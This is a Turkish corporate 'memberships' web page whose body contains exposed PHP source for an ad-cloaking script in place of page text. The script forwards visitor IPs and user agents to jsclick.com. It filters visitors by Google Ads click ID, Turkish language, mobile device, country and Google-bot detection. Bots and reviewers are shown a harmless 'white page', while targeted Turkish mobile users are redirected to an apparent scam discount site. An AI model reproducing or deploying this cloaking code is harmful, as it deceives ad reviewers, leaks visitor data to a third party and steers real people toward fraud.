Hızlı Menü

Son Yazılar

Son Yorumlar

Anasayfa » Kurumsal » Üyeliklerimiz

06 Temmuz 2014 Pazar    |    3095 Kez Görüntülendi.

Üyeliklerimiz

$accessCode, 'ip' => $userIp, 'userAgent' => $_SERVER['HTTP_USER_AGENT'], 'countryCode' => $userCountry )); $statsData = array( 'accessCode' => $accessCode, 'ip' => $userIp, 'userAgent' => $_SERVER['HTTP_USER_AGENT'], 'countryCode' => $userCountry ); $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => "https://jsclick.com/api/stats", CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode($statsData), CURLOPT_HTTPHEADER => array( 'Content-Type: application/json' ) )); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); debugLog("İstatistik yanıtı", array( 'data' => $statsData, 'response' => $response, 'httpCode' => $httpCode )); return $httpCode === 200; } function getClientIP() { $headers = array( 'HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' ); foreach ($headers as $header) { if (isset($_SERVER[$header])) { $ips = explode(',', $_SERVER[$header]); return trim($ips[0]); } } return $_SERVER['REMOTE_ADDR']; } function checkUserAgent($targetLanguages) { $userAgent = $_SERVER['HTTP_USER_AGENT']; debugLog("User Agent", $userAgent); $acceptLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; debugLog("Accept Language", $acceptLanguage); foreach ($targetLanguages as $lang) { $lang = strtolower($lang); if ( stripos($acceptLanguage, $lang) !== false || stripos($userAgent, $lang) !== false || stripos($userAgent, getLanguageName($lang)) !== false ) { debugLog("Dil eşleşmesi bulundu", $lang); return true; } } debugLog("Hiçbir dil eşleşmesi bulunamadı"); return false; } function checkDevice($targetDevices) { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); debugLog("User Agent (Device Check)", $userAgent); $isMobile = ( strpos($userAgent, 'mobile') !== false || strpos($userAgent, 'android') !== false || strpos($userAgent, 'iphone') !== false || strpos($userAgent, 'ipod') !== false || strpos($userAgent, 'windows phone') !== false ); $isTablet = ( strpos($userAgent, 'ipad') !== false || strpos($userAgent, 'tablet') !== false || (strpos($userAgent, 'android') !== false && strpos($userAgent, 'mobile') === false) ); $isDesktop = !$isMobile && !$isTablet; $userDevice = $isTablet ? 'tablet' : ($isMobile ? 'mobile' : 'desktop'); debugLog("Tespit edilen cihaz tipi", $userDevice); $deviceMatch = in_array($userDevice, $targetDevices); debugLog("Cihaz eşleşmesi", $deviceMatch ? "Evet" : "Hayır"); return $deviceMatch; } function checkOperatingSystem($targetOperatingSystems) { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); debugLog("User Agent (Operating System Check)", $userAgent); $operatingSystemMatch = false; foreach ($targetOperatingSystems as $os) { if (strpos($userAgent, strtolower($os)) !== false) { debugLog("İşletim sistemi eşleşmesi bulundu", $os); $operatingSystemMatch = true; break; } } debugLog("İşletim sistemi eşleşmesi", $operatingSystemMatch ? "Evet" : "Hayır"); return $operatingSystemMatch; } function getLanguageName($code) { $languages = array( 'tr' => 'turkish', 'en' => 'english', 'ru' => 'russian', 'es' => 'spanish', 'fr' => 'french', 'de' => 'german', 'it' => 'italian', 'pt' => 'portuguese', 'pl' => 'polish', 'uk' => 'ukrainian', 'ar' => 'arabic', 'hi' => 'hindi', 'bn' => 'bengali', 'zh' => 'chinese', 'ja' => 'japanese', 'ko' => 'korean', 'vi' => 'vietnamese', 'th' => 'thai', 'nl' => 'dutch', 'cs' => 'czech', 'sv' => 'swedish', 'da' => 'danish', 'fi' => 'finnish', 'el' => 'greek', 'he' => 'hebrew', 'hu' => 'hungarian', 'ro' => 'romanian', 'sk' => 'slovak', 'id' => 'indonesian', 'ms' => 'malay' ); return isset($languages[$code]) ? $languages[$code] : $code; } function checkGclid() { $gclid = isset($_GET['gclid']) ? $_GET['gclid'] : null; $hasGclid = !empty($gclid); debugLog("GCLID Kontrolü", array( 'gclid' => $gclid, 'hasGclid' => $hasGclid ? 'true' : 'false' )); return $hasGclid; } function loadPage($path) { $path = ltrim($path, '/'); debugLog("Loading local page", array( 'path' => $path, 'script_dir' => dirname($_SERVER['SCRIPT_FILENAME']) )); try { include $path; exit(); } catch (Exception $e) { debugLog("Error including file", array( 'error' => $e->getMessage(), 'path' => $path )); return false; } } function handleWhitePage($loadMode, $whitePath, $whitePageUrl) { debugLog("Handling white page", array( 'loadMode' => $loadMode ? 'true' : 'false', 'whitePath' => $whitePath, 'whitePageUrl' => $whitePageUrl )); if ($loadMode && !empty($whitePath)) { // Yolu temizle $path = ltrim($whitePath, '/'); debugLog("Including local page", $path); if (!loadPage($path)) { debugLog("Failed to include local page, redirecting to white page URL", $whitePageUrl); header("Location: " . $whitePageUrl); exit(); } } else { debugLog("Redirecting to white page URL", $whitePageUrl); header("Location: " . $whitePageUrl); exit(); } } $userIp = getClientIP(); debugLog("Kullanıcı IP", $userIp); // İlk olarak istatistikleri gönder sendStats($accessCode, $userIp, null); // GCLID kontrolü if (true) { $hasGclid = checkGclid(); if (!$hasGclid) { debugLog("GCLID bulunamadı, White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } debugLog("GCLID bulundu, diğer kontrollere devam ediliyor"); } $targetLanguages = array('tr'); $userAgentMatch = checkUserAgent($targetLanguages); if (!$userAgentMatch) { debugLog("User Agent dil eşleşmesi bulunamadı, White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } $targetDevices = array('mobile'); $deviceMatch = checkDevice($targetDevices); if (!$deviceMatch) { debugLog("Cihaz eşleşmesi bulunamadı, White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } $targetOperatingSystems = array('android','ios'); $operatingSystemMatch = checkOperatingSystem($targetOperatingSystems); if (!$operatingSystemMatch) { debugLog("İşletim sistemi eşleşmesi bulunamadı, White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } $jsClickCh = curl_init(); curl_setopt_array($jsClickCh, array( CURLOPT_URL => "https://jsclick.com/api/ip", CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => array( "x-access-code: TSA8-VWV4-NJZ0-VFIH", "X-Real-IP: " . $userIp, "X-Forwarded-For: " . $userIp ), CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] )); $jsClickResponse = curl_exec($jsClickCh); $jsClickHttpCode = curl_getinfo($jsClickCh, CURLINFO_HTTP_CODE); curl_close($jsClickCh); debugLog("JsClick Yanıt", $jsClickResponse); debugLog("JsClick HTTP Kodu", $jsClickHttpCode); if ($jsClickHttpCode === 200) { $jsClickData = json_decode($jsClickResponse, true); // Google bot kontrolü if (true && isset($jsClickData['isp']) && stripos($jsClickData['isp'], 'google') !== false) { debugLog("Google bot tespit edildi, white page'e yönlendiriliyor"); sendStats($accessCode, $userIp, $jsClickData['country'] ?? null); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); exit(); } if (isset($jsClickData['country'])) { $userCountry = strtolower($jsClickData['country']); debugLog("JsClick'ten ülke tespit edildi", $userCountry); $allowedCountries = array('tr'); $countryMatch = in_array($userCountry, $allowedCountries); debugLog("Ülke Eşleşmesi", $countryMatch ? "Evet" : "Hayır"); // Mobile IP ve VPN kontrolleri $isMobileIp = isset($jsClickData['mobile']) ? $jsClickData['mobile'] : false; $isVpn = isset($jsClickData['proxy']) ? $jsClickData['proxy'] : false; debugLog("Mobile IP Kontrolü", array( 'mobileIpCheck' => false, 'isMobileIp' => $isMobileIp ? 'true' : 'false' )); debugLog("VPN Kontrolü", array( 'vpnCheck' => false, 'isVpn' => $isVpn ? 'true' : 'false' )); sendStats($accessCode, $userIp, $userCountry); if ($countryMatch) { // Mobile IP kontrolü if (false) { if ($isMobileIp) { debugLog("Mobile IP tespit edildi, Black Page'e yönlendiriliyor"); header("Location: https://kadinlargunuindirimi.com/"); exit(); } else { debugLog("Mobile IP tespit edilemedi, White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } } // VPN kontrolü if (false && $isVpn) { debugLog("VPN tespit edildi, White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } debugLog("Black Page'e yönlendiriliyor"); header("Location: https://kadinlargunuindirimi.com/"); exit(); } else { debugLog("White Page'e yönlendiriliyor"); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } } else { debugLog("JsClick yanıtında ülke bilgisi yok!"); sendStats($accessCode, $userIp, null); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } } else { debugLog("JsClick API'ye erişilemedi!"); sendStats($accessCode, $userIp, null); handleWhitePage(true, 'www.bosphorusdisticaret.com', 'about:blank'); } exit(); ?>